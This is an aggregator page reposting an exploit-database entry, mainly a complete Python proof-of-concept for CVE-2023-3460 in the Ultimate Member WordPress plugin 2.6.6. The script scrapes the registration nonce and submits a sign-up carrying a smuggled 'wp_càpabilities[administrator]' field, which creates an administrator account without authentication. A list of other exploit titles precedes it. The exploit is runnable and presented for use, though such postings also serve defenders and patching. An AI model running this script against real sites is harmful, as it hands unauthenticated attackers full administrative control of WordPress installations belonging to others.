惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

博客园 - 聂微东
Y
Y Combinator Blog
WordPress大学
WordPress大学
L
LangChain Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
A
About on SuperTechFans
小众软件
小众软件
有赞技术团队
有赞技术团队
S
SegmentFault 最新的问题
宝玉的分享
宝玉的分享
Recent Announcements
Recent Announcements
GbyAI
GbyAI
I
InfoQ
The GitHub Blog
The GitHub Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
酷 壳 – CoolShell
酷 壳 – CoolShell
罗磊的独立博客
C
Check Point Blog
V
V2EX
Apple Machine Learning Research
Apple Machine Learning Research
月光博客
月光博客
量子位
雷峰网
雷峰网
Hugging Face - Blog
Hugging Face - Blog

The Exploit Database - CXSecurity.com

ProFTPD mod_sql post-authentication SQLi RCE Joomla Extension 4.1.4 PHP Object injection LuCI DHCPv6 Lease Hostname Stored Cross-Site Scripting strongSwan 5.9.13 DoS - CXSecurity.com OrkesConductor 3.30.2 Unauthenticated Remote Code Execution ArcadeDB < 26.7.2 Cross-Database Authorization Bypass (IDOR) Joomla Page Builder CK <= 3.5.10 - Unauthenticated Arbitrary File Upload (RCE) Microsoft Edge <= 150.0.4078.48 (Chromium-based) Type Confusion RCE PraisonAI CodeAgent <= 1.6.77 Remote Code Execution (RCE) via Unsandboxed LLM Code Execution XenForo XSS CVE Scanner — Passive Detection Tool for CVE-2026-35055, CVE-2026-35054, CVE-2026-35057 ePati Antikor NGFW 2.0.1301 Authentication Bypass Apache HTTP Server 2.4.66 mod_http2 Double-Free Denial of Service NiceGUI 3.6.1 Path Traversal - CXSecurity.com Green Hills INTEGRITY RTOS IPCOMShell TELNET Format String Vulnerability - Realistic Full Chain Attack on F-16 Avionics (Ground Maintenance Scenario) OpenClaw < 2026.3.28 Discord Text Approval Authorization Bypass Kanboard <= 1.2.50 Authenticated SQL Injection OpenClaw tools.exec.safeBins <= 2026.2.22 Remote Code Execution Google Chrome < 145.0.7632.75 - CSSFontFeatureValuesMap Use-After-Free Siklu EtherHaul Series EH-8010 Remote Command Execution aiohttp 3.9.1 Directory Traversal - CXSecurity.com deephas <= 1.0.7 - Prototype Pollution leading to Arbitrary Code Execution / DoS LangChain Core - Serialization Injection to Jinja2 SSTI/RCE AVideo Notify.ffmpeg.json.php Unauthenticated Remote Code Execution Birth Chart Compatibility WordPress Plugin 2.0 Full Path Disclosure dotCMS 25.07.02-1 Authenticated Blind SQL Injection Mbed TLS 3.6.4 Use-After-Free - CXSecurity.com MonstaFTP Unauthenticated File Upload - CXSecurity.com Flowise 3.0.4 Remote Code Execution Swagger UI 1.0.3 Cross-Site Scripting (XSS) Vvveb CMS 1.0.5 Remote Code Execution
Ultimate Member WordPress Plugin 2.6.6 Privilege Escalation
2025-08-28 · via The Exploit Database - CXSecurity.com

Ultimate Member WordPress Plugin 2.6.6 Privilege Escalation

#!/usr/bin/env python3 # Exploit Title: Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation # Exploit Author: Gurjot Singh # CVE: CVE-2023-3460 # Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration. import requests import argparse import re import urllib3 from bs4 import BeautifulSoup import sys urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def check_password_strength(password): """Checks if password meets complexity requirements.""" if len(password) < 8: print("[!] Password too short! Must be at least 8 characters.") print(" Example: Admin@123") sys.exit(1) # At least one uppercase, one lowercase, one digit, and one special char if not re.search(r'[A-Z]', password): print("[!] Password must contain at least one uppercase letter.") print(" Example: Admin@123") sys.exit(1) if not re.search(r'[a-z]', password): print("[!] Password must contain at least one lowercase letter.") print(" Example: Admin@123") sys.exit(1) if not re.search(r'\d', password): print("[!] Password must contain at least one number.") print(" Example: Admin@123") sys.exit(1) if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password): print("[!] Password must contain at least one special character (!@#$%^&* etc.)") print(" Example: Admin@123") sys.exit(1) def fetch_form_details(session, target_url): print("[*] Fetching form details from register page...") try: res = session.get(target_url, verify=False) soup = BeautifulSoup(res.text, "html.parser") nonce_input = soup.find("input", {"name": "_wpnonce"}) nonce = nonce_input["value"] if nonce_input else None if nonce: print(f"[+] Found _wpnonce: {nonce}") else: print("[-] Could not find _wpnonce") field_names = {} for inp in soup.find_all("input"): if inp.get("name"): field_names[inp.get("name")] = "" return nonce, field_names except Exception as e: print(f"[!] Error fetching form details: {e}") return None, {} def exploit_register(target_url, username, password): session = requests.Session() target_url = target_url.rstrip('/') nonce, fields = fetch_form_details(session, target_url) if not nonce: return form_id = None for name in fields: m = re.search(r"user_login-(\d+)", name) if m: form_id = m.group(1) break if not form_id: form_id = "7" print(f"[+] Using form ID: {form_id}") data = { f"user_login-{form_id}": username, f"first_name-{form_id}": "Admin", f"last_name-{form_id}": username, f"user_email-{form_id}": f"{username}@example.com", f"user_password-{form_id}": password, f"confirm_user_password-{form_id}": password, "form_id": form_id, "um_request": "", "_wpnonce": nonce, "_wp_http_referer": "/register/", "wp_càpabilities[administrator]": "1" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Referer": target_url, "Origin": target_url.split("/register")[0], } cookies = { "wordpress_test_cookie": "WP Cookie check", "wp_lang": "en_US" } print(f"[*] Sending malicious registration for {username} ...") try: response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False) if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text): print(f"[+] Admin account '{username}' created successfully!") print(f"[+] Login with: Username: {username} | Password: {password}") else: print(f"[-] Could not confirm success. Check target manually.") except Exception as e: print(f"[!] Error during exploit: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)") parser.add_argument("-t", "--target", required=True, help="Target /register/ URL (e.g., http://localhost/register/)") parser.add_argument("-u", "--user", default="rakesh", help="Username to create") parser.add_argument("-p", "--password", default="Admin@123", help="Password for the new user") args = parser.parse_args() # Check password strength before running check_password_strength(args.password) exploit_register(args.target, args.user, args.password)



 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}